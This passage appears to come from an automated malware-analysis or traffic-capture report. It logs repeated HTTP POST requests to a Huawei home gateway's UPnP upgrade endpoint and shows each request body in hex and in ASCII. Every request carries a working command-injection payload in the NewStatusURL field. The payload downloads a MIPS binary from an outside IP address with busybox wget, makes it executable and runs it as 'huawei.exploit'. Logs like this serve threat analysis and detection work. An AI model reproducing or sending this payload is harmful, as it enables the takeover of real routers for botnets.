2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
